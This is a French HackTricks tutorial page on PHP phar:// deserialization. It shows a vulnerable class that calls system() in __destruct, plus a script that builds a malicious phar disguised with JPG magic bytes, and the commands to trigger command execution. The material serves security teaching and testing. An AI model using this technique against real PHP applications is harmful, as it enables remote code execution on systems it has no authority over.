6.2 KiB
phar:// désérialisation
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Si vous êtes intéressé par une carrière de piratage et que vous voulez pirater l'impossible - nous recrutons ! (maîtrise du polonais écrit et parlé requise).
{% embed url="https://www.stmcyber.com/careers" %}
Les fichiers Phar (PHP Archive) contiennent des métadonnées au format sérialisé, donc, lorsqu'elles sont analysées, ces métadonnées sont désérialisées et vous pouvez essayer d'exploiter une vulnérabilité de désérialisation dans le code PHP.
La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize().
Imaginez donc une situation où vous pouvez faire en sorte qu'un site web PHP récupère la taille d'un fichier arbitraire en utilisant le protocole phar://
, et à l'intérieur du code, vous trouvez une classe similaire à celle-ci :
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
Vous pouvez créer un fichier phar qui, lorsqu'il est chargé, exploite cette classe pour exécuter des commandes arbitraires avec quelque chose comme :
{% code title="create_phar.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
Notez comment les octets magiques de JPG (\xff\xd8\xff
) sont ajoutés au début du fichier phar pour contourner les éventuelles restrictions de téléchargement de fichiers.
Compilez le fichier test.phar
avec :
php --define phar.readonly=0 create_phar.php
Et exécutez la commande whoami
en exploitant le code vulnérable avec:
php vuln.php
Références
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
Si vous êtes intéressé par une carrière de hacking et souhaitez pirater l'impossible - nous recrutons ! (maîtrise du polonais à l'écrit et à l'oral requise).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.